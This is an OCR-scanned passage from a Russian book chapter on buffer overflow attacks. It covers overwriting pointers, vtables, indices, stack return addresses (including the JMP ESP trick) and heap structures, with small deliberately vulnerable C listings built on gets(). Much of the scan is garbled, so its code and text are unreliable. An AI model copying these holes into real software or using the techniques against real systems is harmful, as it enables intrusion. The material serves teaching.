определяется через MAX_BUF_SIZE, то и размер копируемой в не- го строки должен ограничиваться им же, а не MAXSTRSIZE, заданным в отдель- ном define. Обращайте внимание ина характер аргументов функций, Работающих с блоками данных. Передача функции указателя без сообщения Размера блока — частая ошибка начинающих, равно как и злоупотребление фун- кциями strepy/strnepy. Первая — небезопасна (отсутствует возможность огра- На /П1> ПРедельно Допустимую длину копируемой строки), вторая — ненадеж- ' ^ТствУет возможность оповещения о факте «обрезания» хвоста строки, Уместившегося в буфер, что само по себе может служить весьма нехилым уником ошибок). семб ’ °Ши'зка переполнения найдена. Что дальше? А дальше только дизас- телы^Р' 11Ь1Тайтесь выжать из исходных текстов хоть какую-то дополни- ли и ИнФоРмацию. Порядок размещения переменных в памяти не опреде- МожетРаКТИЧеСКИ ,1ИКОГДа ие совпадает с порядком их объявления в программе. Нщ и даться так, что большинства из этих переменных в памяти попросту тИМ11з^п‘ Разме1чены компилятором в регистрах либо же вовсе отброшены оп- ТИнгц °Р°М как ненужные (попутно заметим, что все демонстрационные лис- Ся в Приведенные в этой главе, рассчитывают, что переменные раснолагают- Чти в порядке их объявления).
124 Глава 4. Ошибки переполнения буфера извне и изнутри Впрочем, не будем забегать вперед. Дизассемблирование — это отдельная гема которой посвящены книги «Фундаментальные основы хакерства» и «Образ мышления IDA», так что не будем лишний раз повторяться. ЦЕЛИ И ВОЗМОЖНОСТИ АТАКИ Конечная цель любой атаки — заставить систему сделать что-то «нехорошее» Такое, чего нельзя добиться легальным путем. Существует, по меньшей мере четыре различных способа реализации атаки: 1. Чтение секретных переменных. 2. Модификация секретных переменных. 3. Передача управления на секретную функции программы. 4. Передача управления на код, переданный жертве самим злоумышленником. ЧТЕНИЕ СЕКРЕТНЫХ ПЕРЕМЕННЫХ На роль секретных переменных в первую очередь претендуют пароли на вход в систему, а также пароли доступа к конфиденциальной информации. Все они так или иначе содержатся в адресном пространстве уязвимого процесса, зачас- тую располагаясь по фиксированным адресам (под «входом в систему» здесь подразумевается имя пользователя и пароль, обеспечивающие удаленное управ- ление уязвимым приложением). Еще в адресном пространстве процесса содержатся дескрипторы секретных файлов, сокеты, идентификаторы TCP/IP-соединений и многое другое. Разу- меется, вне текущего контекста они не имеют никакого смысла, но могут быть использованы кодом, переданным жертве злоумышленником и осуществля- ющим, например, установку «невидимого» TCP/IP-соединения, прячась под «крышей» уже существующего. Ячейки памяти, хранящие указатели на другие ячейки, «секретными», строго говоря, не являются, однако знание их содержимого значительно облегчает атаку. В противном случае атакующему придется определять опорные адреса вслепую. Допустим, в уязвимой программе содержится следующий код. char *р = malloc(MAX_BUF_SIZE), где р — указатель на буфер, содержащий сек- ретный пароль. Допустим также, что в программе имеется ошибка перепел нения, позволяющая злоумышленнику читать содержимое любой ячейки ад ресного пространства. Весь вопрос в том, как этот буфер найти. Сканировать всю кучу целиком не только долго, но и небезопасно, так как можно легко натолкнуться на невыделенную страницу памяти, и тогда выполнение про цесса аварийно завершится. Автоматические и статические переменны* в этом отношении более предсказуемы. Поэтому атакующий должен сначала прочитать содержимое указателя р, а уже затем — секретный пароль, иакото рый он указывает. Разумеется, это всего лишь пример, которым возможно переполняющего чтения не ограничиваются. Само же переполняющее чтение реализуется, по меньшей мере, четырьмя дующими механизмами: «потерей» завершающего нуля в строковых буфсР ‘
125 л,пкапией указателей (см. раздел «Указатели и индексы»), индексным пе- '"’'^ненпем (см. там же) и навязыванием функции printf (и другим функци- ,х "форматированного выв°да) лишних спецификаторов. МОДИФИКАЦИЯ СЕКРЕТНЫХ ПЕРЕМЕННЫХ о()ЗМожност1> модификации переменных дает значительно больше возможно- стей для атаки, позволяя: навязывать уязвимой программе «свои» пароли, дескрипторы файлов, ТСР/ [р-пдентификаторы и т. д.; • модифицировать переменные, управляющие ветвлением программы; • манипулировать индексами и указателями, передавая управление по про- извольному адресу (и адресу, содержащему код, специально подготовлен- ный злоумышленником в том числе). Чаще всего модификация секретных переменных реализуется посредством по- следовательного переполнения буфера, ио обыкновению своему порождающе- го целый каскад побочных эффектов. Например, если за концом переполняю- щегося буфера расположен указатель на некоторую переменную, в которую после переполнения что-то пишется, злоумышленник сможет затереть любую ячейку памяти на свой выбор (разумеется, за исключением ячеек, явно защи- щенных от модификации, например, кодовой секции или секции .rodata). ПЕРЕДАЧА УПРАВЛЕНИЯ НА СЕКРЕТНУЮ ФУНКЦИЮ ПРОГРАММЫ Модификация указателей на исполняемый код приводит к возможности пере- дачи управления на любую функцию уязвимой программы (правда, с переда- чей аргументов имеются определенные проблемы). Практически каждая про- грамма содержит функции, доступные только root’y и предоставляющие те или иные управленческие возможности (например, создание новой учетной запи- си, открытие сессии удаленного управления, запуск файлов и т. д.). В более изощренных случаях управление передается на середину функции (или даже иасередину машинной инструкции) с таким расчетом, чтобы процессор выпол- нил замысел злоумышленника, даже если разработчик программы не преду- сматривал ничего подобного. Передача управления обеспечивается либо за счет изменения логики выполне- ния программы, либо за счет подмены указателей на код. И то и другое опира- йся на модификацию ячеек программы, кратко рассмотренную выше. управления на код, переданный жертве ЗЛОУМЫШЛЕННИКОМ на ЫИ механизм является разновидностью механизма передачи управления няетКРеГНуЮ ФУНкцию программы, только сейчас роль этой функции выпол- дацц*-*’ ПодгОтовленный злоумышленником и тем или иным способом пере- '’ереп'11 НЯ даленнь,й компьютер. Для этой цели может использоваться как сам нн Лняк>1цийся буфер, так и любой другой буфер, доступный злоумышлен- У ДЛя Непосредственной модификации и в момент передачи управления на
126 Глава 4. Ошибки переполнения буфера извне и shell-код присутствующий в адресном пространстве уязвимого ири.’щж (при этом он должен располагаться по более или менее предсказуемым Ия сам, иначе передавать управление будет некому и некуда). ЖЕРТВЫ ПЕРЕПОЛНЕНИЯ, ИЛИ ОБЪЕКТЫ АТАКИ Переполнение может затирать ячейки памяти следующих типов: указатели лярные переменные и буферы. Объекты языка Си++ включают в себя какуКа затели (указывающие на таблицу виртуальных функции, если таковые вобъ екте есть), так и скалярные дапиые-члены (если они есть). Ни те, ни другие самостоятельной сущности не образуют и вполне укладываются в приведенную выше классификацию. УКАЗАТЕЛИ И ИНДЕКСЫ В классическом Паскале и других «правильных» языках указатели отсутству- ют, но в Си/Си++ они вездесущи. Чаще всего приходится иметь дело с указа- телями ладанные, несколько реже встречаются указатели па исполняемый код (указатели на виртуальные функции, указатели на функции, загружаемые ди- намической компоновкой и т. д.). Современный Паскаль (раньше ассоциируе- мый с компилятором Turbo Pascal, а теперь еще и Delphi) также немыслим без указателей. Даже если в явном виде указатели и не поддерживаются, на них «держатся» динамические структуры данных (куча, разреженные массивы), используемые внутри языка. Указатели удобны. Они делают программирование простым, наглядным, эф- фективным и естественным. В то же время указатели во всех отношениях кате- горически небезопасны. Попав в руки хакера или пищеварительный трактчер- вя, они превращаются в оружие опустошительной мощности — своеооразныи аналог BFG-900 или, по крайней мере, «плазмогана». Забегая вперед, отметим что указатели обоих типов потенциально способны к передаче управления w несанкционированный машинный кол. Вотс указателей на исполняемый кодмы и начнем. Рассмот следом за переполняющимся буфером buff расположен ук; которая инициализируется до п вызывается после переполнения буфер31, можно, вызывается не сразу, а спустя некоторое время). Тогда мы запоЛ) аналог функции call или, говоря другими словами, инструмент для ne^'|f,t управления по любому (ну или почти любому) машинному адресу, в тоМ 11Ь,г и на сам переполняющийся буфер (тогда управление получит код, переД' злоумышленником) (листинг 4.3). Листинг 4.3. Фрагмент программы, подверженной переполнению с затиранием указателя на исполняемый код code otr() I char buff[8T: void (*some_fi,nc) (); prir.lft"passws-."): gets(buff); рим ситуацию, K°r.v тзатель на функШ1*
127 soffleju"c(): ' А е о выборе целевых адресов мы поговорим в другой раз, сейчас же ПоДР0 чИЧСя на поиске затираемых указателей. Первым в голову прихо- сосрсдо возврата ИЗ функции, находящийся внизу кадра стека. Правда, что- ДитаДвеГ0 дотянуться, требуется пересечь весь кадр целиком, и не факт, что f,l>1 Ддто удастся, к тому же его целостность контролируют многие защитные системы. популярная мишень — указатели па объекты. В программах па Си++ Обычно присутствует большое количество объектов, многие из которых созда; ются вызовом оператора new, возвращающим указатель на свежесоздапный эк- земпляр объекта. Невиртуальные функции-члены класса вызываются точно так ' как и обычные Си-функции (то есть по их фактическому смещению), по- этому они неподвластны атаке. Виртуальные функции-члены вызываются на- много более сложным образом через цепочку следующих операций: указатель на экземпляр объекта —> указатель на таблицу виртуальных функций —> указа- тель на конкретную виртуальную функцию. Указатели на таблицу виртуаль- ных функций не принадлежат объекту и внедряются в каждый его экземпляр, который чаще всего сохраняется в оперативной памяти, реже — в регистровых переменных. Указатели на объекты также размещаются либо в оперативной па- мяти, либо в регистрах, при этом на один и тот же объект может указывать мно- жество указателей (средн которых могут встретиться и такие, которые распо- ложены непосредственно за концом переполняющегося буфера). Таблица виртуальных функций (далее просто виртуальная таблица) принадлежит не экземпляру объекта, а самому объекту, то есть, упрощенно говоря, мы имеем «дну виртуальную таблицу на каждый объект. «Упрощенно» потому, что в дей- ствительности виртуальная таблица помещается в каждый obj-файл, в котором встречается обращение к членам данного объекта (раздельная компиляция дает е знать). И хотя линкеры в подавляющем большинстве случаев успешно ают лишние виртуальные таблицы, иногда они все-таки дублируются (но 1>акт^Же СЛ11ШКОм высокие материи для начинающих). В зависимости от «ха- Ь'альнь» ВЬ,бРанн°й среды разработки и профессионализма программиста вир- си) либс)ТабЛИЦЫ Размещаются либо в секции .data (не защищенной отзаии- глУЧай Всекции -rodata (доступной лишь для чтения), причем последний Давай ВСТРечается значительно чаще. 8секЦнцДаЯ Простоты Рассмотрим приложение с виртуальными таблицами Ме,1Тов ц Э а‘ ^слн злоумышленнику удастся модифицировать один из эле- ФУНкциВИр1уадьной таблицы, то при вызове соответствующей виртуальной :,т°го буде^.П^аВЛение получит не она, а совсем другой код! Однако добиться ЧаДе сеК1(И1 НепРосто! Виртуальные таблицы обычно размещаются в самом на- *(0огавтом- Даннь1Х> то есть перед статическими буферами и достаточно дале- MO)i!Ho,Tak ТИчеседх буферов (более конкретное расположение указать невоз- Кг*к нЧже ЭК в зависимости от операционной системы стек может находиться ’Так и выше секции данных). Так что последовательное переполнение
128 Глава 4. Ошибки переполнения буфера извне и изну^. здесь непригодно и приходится уповать на индексное, все еще остающееся т^. ретической экзотикой, робко осваивающей окружающий мир. Модифицировать указатель на объект и/или указатель на виртуальную таб.1и. цу намного проще, поскольку они пе только находятся в области памяти, д0. ступной для модификации, но зачастую располагаются в непосредственной блц. зости от переполняющихся буферов. Модификация указателя this приводит к подмене виртуальных функций объек- та. Достаточно лишь найти в памяти указатель па интересующую нас функцию (или вручную сформировать его в переполняющемся буфере) и установить ца него this с таким расчетом, чтобы адрес следующей вызываемой виртуальной функции попал на подложный указатель. С инженерной точки зрения это до- статочно сложная операция, поскольку, кроме виртуальных функций, объекты еще содержат и переменные, которые более или менее активно используют Переустановка указателя this искажает их «содержимое», и очень может быть, что уязвимая программа рухнет раньше, чем успеет вызвать подложную вирту- альную функцию. Можно, конечно, сымитировать весь объект целиком, но не факт, что это удастся. Сказанное относится и к указателю на объект, поскольку с точки зрения компилятора они скорее похожи, чем различны. Однако нали- чие двух различных сущностей дает атакующему свободу выбора — в некото- рых случаях предпочтительнее затирать указатель this, в некоторых случаях - указатель на объект (листинги 4.4 и 4.5). Листинг 4.4. Фрагмент программы, подверженной последовательному переполнению при записи, с затиранием указателя на таблицу виртуальных функций class А{ public: virtual void f() { printfC’legalXn"):}; }: main() { char buff[8]: A *a = new A; printf(“passwd:"):gets(buff): a->f(): } Листинг 4.5. Дизассемблерный листинг переполняющейся программы с краткими комментариями .text:00401000 main .text:00401000 .text:00401000 var_14 .text:00401000 var_10 .text:00401000 var_C .text:00401000 var_4 .text:00401000 .text:00401000 .text:00401001 proc near : CODE XREF: start+AFvp = dword ptr -14h : this = dword ptr -lOh : *a = byte ptr -OCh = dword ptr -4 push ebp mov ebp. esp
начало — ;.:01003 sub esp. I4h памяти . ':С10СЗ открываем кадр стека и резервируем 14h стековой Х, 00401003 *;.004010С6 push 4 г.00401008 call operator new(uint) 7o040100D J.00401000 add • выделяем память для i esp. 4 тового экземпляра объекта А и получаем указатель X,-0040100D tfxt:00401010 mov [ebp+var_10] еах ext 00401010 ; записываем указатель на объект в переменную var_ ID text:00401010 text:00401013 сто [ebp+var_10]. 0 texf.00401017 short. 1ОС-401026 text:00401017 text:00401017 ; проверка успешности [ выделения памяти text.00401019 mov ecx. [ebp+var 10] text:0040101C call A: :A text-0040101C text0040101C : вызываем конструктор объекта A text: 00401021 mov [ebp’var_14J. eax text: 00401021 text: 00401021 : заносим возвращенный указатель this в переменную var_14 >ext 004C1023 1ОС 401020: : CODE XREF: main+24*j :ext:00401023 mov eax. [ebp+var 14] text:00401030 mov [ebp+var /.j. eax text:00401030 : берем указатель tins и перепрятываем ею в переменную var_4 • >t:00401030 <00401033 pusn offset. aPasswd "passwd:" >1:00401038 call prir.tf t:00401033 add esp. 4 >t:0040103D , выводим приглашение г ( вводу на экран <.00401033 <: 00401040 lea ecx. [ebp+var_C] 1:00401040 : переполняющийся буфер расположен ниже указателя на объект и <'00401040 : первичного указателя this, но выше порожденного указателя this. >t:00401040 : чю делает последний уязвимым text:00401040 text:00401043 push ecx text:00401044 call Sets text.00401049 tot:00401049 fn’t:00401049 add : чтение строки в буфер esp. 4 't:0040104C mov edx. [ebp+var 4] 't:00401C4C : за "рука ем уязвимый указатель this в регистр EDX <00401040 ’<00401041 mov eax. [edx] '<00401041 <00401041 : извлекаем адрес виртуальной таблицы ’>t;00401051 ecx. [ebp+var 4] '<00401051 передаем функции указатель this Продолжение
130 Глава 4. Ошибки переполнения буфера Листинг 4.5 (продолжений .text100401051 .text 100401054 call dword otr [eax] .text 100401054 ; вызываем виртуальную функцию -’первую функцию виртуальной таблцЦк| .text:00401C54 ; .text 100401056 mov esp. ebp .text:00401058 pop ebp .text 100401059 retn .text 100401059 main endp Рассмотрим ситуацию, когда следом за переполняющимся буфером идет уКа затель на скалярную переменную р и сама переменная х, которая в некоторь-, момент выполнения программы по данному указателю и записывается (поря док чередования двух последних переменных не существенен, главное, чтобц переполняющийся буфер затирал их все). Допустим также, что с момента лере- полнепия ни указатель, ни переменная не претерпевают никаких изменим;, (или изменяются предсказуемым образом). Тогда, в зависимости от состояния ячеек, затирающих оригинальное содержимое переменных х и р, мы сможем записать любое значение х по произвольному адресу р, осуществляя это «рука ми» уязвимой программы. Другими словами, мы получаем аналог функций РОКЕ и PatchByte/PatchWord языков Бейсик и IDA-Cn соответственно. Вообще-то на выбор аргументов могут быть наложены некоторые ограничения (например функция gets не допускает символа нуля в середине строки), по это не слип: ком жесткое условие, и имеющихся возможностей вполне достаточно для за- хвата управления над атакуемой системой (листинг 4.6). Листинг 4.6. Фрагмент программы, подверженной последовательному переполнению при записи, с затиранием скалярной переменной и указателя на данные, поглощающие затертую переменную data_ptr() { char betf[8]; int x: int *p; printf("passws:")i gets!buff): ИНДЕКСЫ Индексы являются своеобразной разновидностью указателей. I рубо r0®°^T„|i относительные указатели, адресуемые относительно некоторой базы. , те, р[1 ] можно представить и как *(р+1), практически полностью уравн и 1 в правах. . Модификация индексов имеет свои слабые и сильные стороны. указатели требуют задания абсолютного адреса целевой ячейки, который неизвестен, в то время как относительный вычисляется «на ура». ИпдсК де нящиеся в переменных типа char, лишены проблемы нулевых симво ,, дексы, хранящиеся в переменных типа int, могут беспрепятственно ячейки, расположенные «выше» стартового адреса (то есть лежаШНе
toe начало 131 nneeax), при этом старшие байты индекса содержат символы FFh, которые ""|Х течьно более миролюбивы, чем символы нуля. 11аччте'' _ , если оонаружить факт искажения указателей практически невозмож- 0'1* \>б;1ИРовать их значс111,я в резервных переменных не предлагать), то оце- 1,0' корр<-‘Ктность индексов перед их использованием не составляет никакого ,,1,ТЬ и многие программисты именно так и поступают (правда, «многие» еще ^ означает «все»). Другой слабой стороной индексов является их ограничен- 11 «дальнобойность», составляющая ±128/256 байт (для индексов типа signed/ "Signed char) и -2 147 483 648 байт для индексов типа signed int (листинг4.7). инг 4.7. Фрагмент программы, подверженной последовательному переполнению л при записи, с затиранием индекса :ndex_ptr() char *р: char buff[MAX_BUF_SIZE]; int f; p = nalloc(MAX_BUF_SIZE): i = MAX_BL'F_SIZE: Dr-.ntfC'passws: '): gets (buff): И i' ((i < 1) || (i > MAX_BUF_SIZE)) ошибка while(i-) p[i] = bufffMAX BUF SIZE - 1]; СКАЛЯРНЫЕ ПЕРЕМЕННЫЕ Скалярные переменные, не являющиеся ни индексами, ни указателями, менее интересны для атакующих, поскольку в подавляющем большинстве случаев их возможности очень ограничены, однако на безрыбье сгодятся и они (совмест- ное использование скалярных переменных вместес указателями/индексами мы только что рассмотрели, сейчас же пас интересуют скалярные переменные сами «о себе). Рассмотрим случай, когда вслед за переполняющимся буфером расположена беременная buks, инициализируемая до переполнения, а после переполнения '^пользуемая для расчетов количества денег, снимаемых со счета (не обяза- тельно счета злоумышленника). Допустим, программа тщательно проверяет кх°ДНые данные и не допускает использования ввода отрицательных значений, ‘ТНако не контролирует целостность самой переменной buks. Тогда, варьируя содержимое по своему усмотрению, злоумышленник без труда обойдет все Р°веркц и ограничения (листинг 4.8). Т'НСТИИг.а О 4.8. фрагмент программы, подверженной переполнению, с затиранием скалярной переменной fi oat *money_account) Suff[MAX_ 3UF_SIZE] : float buks = CURRENT_BUKS_RATE: input money:''): gets(buff): Продолжение
Глава 4. Ошибки переполнения буфера извне и... ----------------------------- 132 Листинг 4.8 (продолжение) if (atof(buff)<0) ошибка! введите положительное значение *money_account -= (atof(buff) * CURRENTBUKSRATE): ) При всей своей искусственности приведенный пример чрезвычайно наг.ъц*. Модификация скалярных переменных только в исключительных случаях водит к захвату управления системой, не легко позволяет делать из чисел виц, грет, а на этом уже можно сыграть! Но что же это за исключительные случа.р Во-первых, многие программы содержат отладочные переменные, оставлена, разработчиками и позволяющие, например, отключить систему аутентпфн^. ции. Во-вторых, существует множество переменных, хранящих начальныещ-, предельно допустимые значения других переменных, например счетчиков цщ-. ла--for (а = Ь: а < с; а++) *р++ = *х++; очевидно, что модификация перемел- ных b и с приведет к переполнению буфера р со всеми вытекающими отсюх последствиями. В-третьих... да мало ли что можно придумать — всего и не пе- речислишь! Затирание скалярных переменных при переполнении обычно а приводит к немедленному обрушению программы, поэтому такие ошибки ж- гут долго оставаться необнаруженными. Будьте внимательными! МАССИВЫ И БУФЕРЫ Что интересного можно обнаружить в буферых? Прежде всего это строки,хра- нящиеся в PASCAL-формате, то есть с полем длины вначале, затирание кото- рого порождает каскад вторичных переполнений. Про уязвимость буфера с конфиденциальной информацией мы уже говорили, а теперь, пожалуйста- копкретпый, хотя и несколько наигранный пример! Еще интересны буферы, содержащие имена открываемых файлов (можно засы вить приложение записать копфвдепциальные данные в общедоступный фай111' напротив, навязать общедоступный файл взамен конфиденциального), тем что несколько подряд идущих буферов, вообще говоря, не редкость (листинг^' Листинг 4.9. Фрагмент программы, подверженной последовательному переполнению при записи, с затиранием постороннего буфера buff_demo() char buff[MAX_BUF_SIZE]: char pswdLMAX_BUF_SIZE]: I fgetstpswd. MAX_BUF_SIZE. f): pr intf("passwd:"): gets(butf): if (strncmp(buff. pwsd, MAX EUF SIZE)) // неправильный пароль else // правильный пароль }
--------------------------------------— гпеиИФИЧЕСКИЕ ОСОБЕННОСТИ РАЗЛИЧНЫХ ТИПОВ переполнения р.1(.сматрпвая различные механизмы переполнения и обсуждая их возможные последствия, ранее мы не касались таких «организационных» вопросов, как, 1Ппример, порядок размещения переполняющихся буферов, затираемых пере- мепных и служебных структур данных в оперативной памяти. Теперь пришло время восполнить этот пробел. В СТЕКЕ... Переполнения автоматических буферов наиболее часты и наиболее коварны. Часты — потому что размер таких буферов жестко (hardcoded) определяется еще на этапе компиляции, а процедура проверки корректности обрабатываемых дан- ных зачастую отсутствует или реализована с грубыми ошибками. Коварны — потому что в непосредственной близости от автоматических буферов присутству- ет адрес возврата из функции, модификация которого позволяет злоумышлен- нику осуществить передачу управления на произвольный код (рис. 4.1). 1 свободно автоматические переменные дочерней функции .____________[сохраненные регистры] i________[кадр стека материнской функции]_____ ______адрес возврата в материнскую функцию _________аргументы дочерней функции___________ автоматические переменные материнской функции . _______[сохраненные регистры] ' ____[кадр стека праматеринской функции] .. адрес возврата в праматеринскую функцию |_____аргументы материнской функции I— _______________дно стека ₽ис. 4.1. Карта распределения стековой памяти Ще в стеке содержится указатель па фрейм (он же кадр) материнской функции, охраняемый компилятором перед открытием фрейма дочерней функции. Вооб- то оптимизирующие компиляторы, поддерживающие технологию «плава- шх» фреймов, обходятся и без этого, используя регистр-указатель вершины п Т* °бЬ1ЧНЬ1й регистр общего назначения, однако даже поверхностный ана- 1,и НаРуживает большое количество уязвимых приложений с кадром впут- ’Так что этот прием атаки все еще остается актуальным. Модификация кад- ф а срывает адресацию локальных переменных и аргументов материнской нив • И И Лает возможность управлять ими по своему усмотрению. Устано- ' Vuv^ МатсРинской функции на «свой» буфер, злоумышленник может «за- ie ц В Материнские переменные (аргументы) любые значения (в том чис- заведомо некорректные, поскольку проверка допустимости аргументов
134 Глава 4. Ошибки переполнения буфера извне и обычно выполняется до вызова дочерних функций, а корректность ан ческих переменных после их инициализации проверяют только пап.„ МаТ|)- р“'|()ЧКц) ВНИМАНИЕ--------------------------------------------------- После возврата из дочерней функции все принадлежащие ей локальные леве автоматически освобождаются, поэтому использовать дочерний буфер ДЛя х Мй* *ые материнских переменных нельзя (точнее, не рекомендуется, но если Действовал h"" рожно — то можно). Обратитесь к куче, статической памяти или автоматической °По’ параллельного потока, воздействуя на нее косвенным образом. памяТ|1 Выше кадра стека располагаются сохраненные значения регистров, восставав ливаемые при выходе из функции. Если материнская функция хранит в одном или нескольких таких регистрах критические переменные (например, указате ли, в которые что-то записывается), мы можем свободно воздействовать на них по своему усмотрению. Дальше начинается область, «оккупированная» локальными переменными (и переполняющимся буфером в том числе). В зависимости от прихоти компи- лятора последний может быть расположен как наверху кадра стека, так и в гу- ще локальных переменных — это уже как повезет (или не повезет - сточки зрения жертвы). Переменные, находящиеся «ниже» переполняющегося буфе- ра, могут быть затерты при последовательном переполнении — самом распрос- траненном типе переполнения. Переменные, находящиеся «выше» переполня- ющегося буфера, затираются лишь индексным переполнением, которое мало распространено. Наконец, выше кадра стека находится только небо и звезды, пардон — свобод- ное стековое пространство. Затирать тут особенно нечего, и эта область памяти используется в основном для служебных нужд shell-кода. При этом следуй учитывать следующее: • объем стека не безграничен и упирается в определенный лимит, так что вы делять гигабайты памяти все-таки не стоит; • если один из спящих объектов процесса-жертвы неожиданно проснется.®® держимое свободной стековой памяти окажется искажено, и, чтооы эт^ случилось, shell-код должен подтянуть регистр ESP к верхнему уровню- зервируя необходимое количество байт памяти; • поскольку стековая память, принадлежащая потоку, выделяется д11НалевОй ски по мере его распухания, всякая попытка выхода за пределы стор страницы (page guard) завершается исключением, поэтому либо не шивайте более 4 Кбайт, либо прочитайте хотя бы по одной ячейке дой резервируемой страницы, двигаясь снизу вверх. Подробнее об э но прочитать у Рихтера. В зависимости от ограничений, наложенных па предельно допустимУ^еМец- переполняющегося буфера, могут затираться те или иные локальные „p.i- ные или служебные структуры данных. Очень может статься, что до чТ1’ врата просто не удастся «дотянуться», а даже если и удастся — не 4
135 не грохнется задолго до своего завершения. Допустим, за концом стро- (|>У1,К1,НД ()111ЯЮШегося буфера располагается указатель, из которого после |,(’в0Г01непня что-то читается (записывается). Поскольку переполнение буфе- исречо. но затирает указатель, всякая попытка чтения оттуда вызывает не- ПС> мое исключение и — как следствие — аварийное завершение програм- "i* Причем затереть адрес возврата, подсунув указателю корректный адрес, ' е всего, не удастся, так как в операционных системах семейства Windows 1 ^гарантированно доступные адреса лежат значительно ниже OlOlOlOlh — наи- меньшего адреса, который только можно внедрить в середину строкового бу- , (подробнее см. раздел «Запрещенные символы»). Так что буферы, рас- (поженные внизу кадра стека, для переполнения все же предпочтительнее. Законном адреса возврата начинается область памяти, принадлежащая мате- ринским функциям и содержащая: аргументы дочерней функции, автоматиче- ские переменные материнской функции, сохраненные регистры, кадр стека пра- материнской функции, адрес возврата в праматеринскую функции и т. д. Теоретически переполняющийся буфер может все это затереть (ну бывают же такие буйные буферы), практически же — это либо ненужно, либо неосуществи- мо. Если мы можем навязать программе корректный адрес возврата (то есть адрес возврата, указывающий на shell-код или любую точку «родного» кода про- граммы), то в материнскую функцию она уже не вернется и все махинации с ма- теринскими переменными останутся незамеченными. Если же навязать кор- ректный адрес возврата по тем или иным причинам невозможно, то материнская функция тем более не сможет получить управления. Большую информацию несет чтение материнской области памяти (см. ранее раздел «Указатели и индексы») — здесь действительно можно встретить много чего интересного: конфиденциальные данные (типа паролей и номеров кредит- ных карт), дескрипторы секретных файлов, которые невозможно открыть обыч- ным образом, сокеты установленных TCP-соединений (почему бы их не исполь- зовать для обхода брандмаузеров?) и т. д. Модификация аргументов дочерней функции менее перспективна, хотя време- нный и бывает полезной. Среди аргументов Си/Си++-нрограмм традиционно 1И ° ^Казателей. Обычно это указатели на данные, но встречаются и указате- УппНаК0Д ^0СЛедние более перспективны, поскольку позволяют захватывать хор()щ'1еНИе ПрогРаммой до ее обрушения. Указатели па данные, конечно, тоже иавяШИ ^Осо^енпо те из них. что позволяют записывать по навязанным адресам ДотяГ'1НЫеданные’ т°есть работают как Бейсик-функция РОКЕ), однако, чтобы Моголе51 Л° своих аргументов при последовательном переполнении уязви- й Уферы, необходимо пересечь ячейки памяти, запятые адресом возврата... :,т°абс^НИИ адреса возврата есть одна интересная тонкость: адрес возврата — >.'а Сам Л10Тный адрес, и, если мы хотим передать управление непосредственно -Х'Яз^Я^н^чняющийся буфер, нам либо приходится надеяться на то, что это це^И пР°гРамме переполняющийся буфер окажется по такому-то адресу |( е Факт), либо искать механизм передачи управления на вершину стека. "8ь Leva с- '""ниц • Ьап Решает проблему путем подмены адреса возврата на адрес 0,1 ивструкцИИ JMP ESP, расположенной во владениях операционной
136 Глава 4. Ошибки переполнения буфера извн» системы. Недостатки такой методики очевидны: во-первых, она не cp;ifr в тех случаях, когда переполняющийся буфер расположен ниже Bepnn^^i ка, а во-вторых, местоположение инструкции JMP ESP тесно связано C(|llblCT|- операционной системы, и получается как в той поговорке: «За что бор01 PC||t" то и напоролись». К сожалению, более прогрессивных методик передачи ления пока не придумано... Ра11 В КУЧЕ... Буферы, расположенные в динамической памяти, также подвержены передо нению. Многие программисты, ленивые от природы, сначала выделяют fivA.' фиксированного размера, а затем определяют, сколько памяти им реально обходимо, причем ситуацию недостатка памяти обработать традиционнозаби вают. В куче чаще всего встречаются переполняющиеся буферы двух типов--и • менты структур и динамически выделяемые блоки памяти. Допустим, в программе имеется структура demo, содержащая в том числе и б\ фор фиксированного размера (листинг 4.10). Листинг 4.10. Пример структуры с переполняющимся буфером внутри (он выделен полужирным) strict demo int а; char buf[8]: int b; } Неосторожное обращение с обрабатываемыми данными (например, отсутствп нужных проверок в нужном месте) может привести к возможности перепад пия буферы buf и как следствие — затиранию расположенных за ним перем,: пых. В первую очередь это переменные-члены самой структуры (в данном с.т чае — переменная Ь), стратегия .модификации которых вполне типи4 и подчиняется тем же правилам — общим для всех переполняющихся бус^Р' Менсе очевидна возможность затирания ячеек памяти, лежащих за преЛе* выделенного блока памяти. Кстати, для буферов, монопольно владеюШ,,х выделенным блоком памяти, это единственно возможная стратегия пере1 - ния вообще. Взгляните на следующий код (листинг 4.11). Как вы дуМаС1С здесь можно переполнить? Листинг 4.11. Пример динамического блока памяти, подверженного переполнению ^define MAX_BUF_SIZE 8 ^define MAX_STR_SIZE 256 char *p; p = malloc(MAX_BUF_SIZE): StrncpyCp. MAXSTRSIZE. Str);
137 ^офскоена^ _ считалось, что переполнять здесь особенно и нечего. Максимум — M)11Ti, банальный DoS, но целенаправленно захватить управление м<>*110'1 еВОзможно в силу хаотичности распределения динамических блоков чертой । ga30BbIfi адрес блока р, вообще говоря, случаен, и за его концом мо- цо iiaMflT,*‘.1С11Одожено все что угодно, в том числе и невыделенный регион па- *сТ°Ы .ПР обращение к которому приводитк немедленному исключению, ава- ^завершающему программу. *’ дсле все это не более чем расхожие заблуждения. Сегодня переполне- м' тинамических буферов никого не удивишь. Эта технология широко и не- успешно используется в качестве универсального (!) средства захвата управ- ения Нашумевший червь Slapper — один из немногих червей, поражающий UNIX-машины, — распространяется именно так. Как же такое возможно? По- пробуем разобраться... Выделение и освобождение динамической памяти действительно происходит ювольно сумбурно — беспорядочно, и за конном нашего блока в произволь- ный момент времени может быть распложен любой другой блок. Даже при по- следовательном выделении нескольких блоков памяти, никто не может гаран- тировать, что при каждом запуске программы они будут выделяться в одном и том же порядке, поскольку это зависит от размера и порядка освобождения предыдущих выделяемых буферов. Тем не менее архитектура служебных струк- тур данных, пронизывающая динамическую память своеобразным несущим кар- касом, легко предсказуема, хотя и меняется от одной версии библиотеки ком- пилятора к другой. Существует множество реализаций динамической памяти, и различные произ- водители используют различные алгоритмы. Выделяемые блоки памяти могут ’ыть нанизаны и на дерево, и на одно-, двухсвязный список, ссылки на кото- тпб M<H'VT быть нродставлены как указателями, так и индексами, хранимыми в начале/конце каждого выделяемого блока, либо в отдельной структуре н5*ь,х- Причем последний способ реализации по ряду причин встречается кРаине редК0, вЫдепяекИМ СЛСЛХЮ,ЦУЮ организацию динамической памяти, при которой все когорыеМЫе ^Л°КИ сосд,,пены посредством двухсвязных списков, указатели па Чамятц рас!,0Ложеиь1в начале каждого блока (рис. 4.2), причем смежные блоки 11 Процессе ЯЗатсльно Должны находиться в соседних элементах списка, так как ’"'Фрагм МногокРатных операций выделения/освобождения список пеизбеж- П('рСП();] Ч^уется, а постоянная дефрагментация обходится довольно дорого. ”1(>ка Памя"ИС ?ра пРиводит к затиранию служебных структур 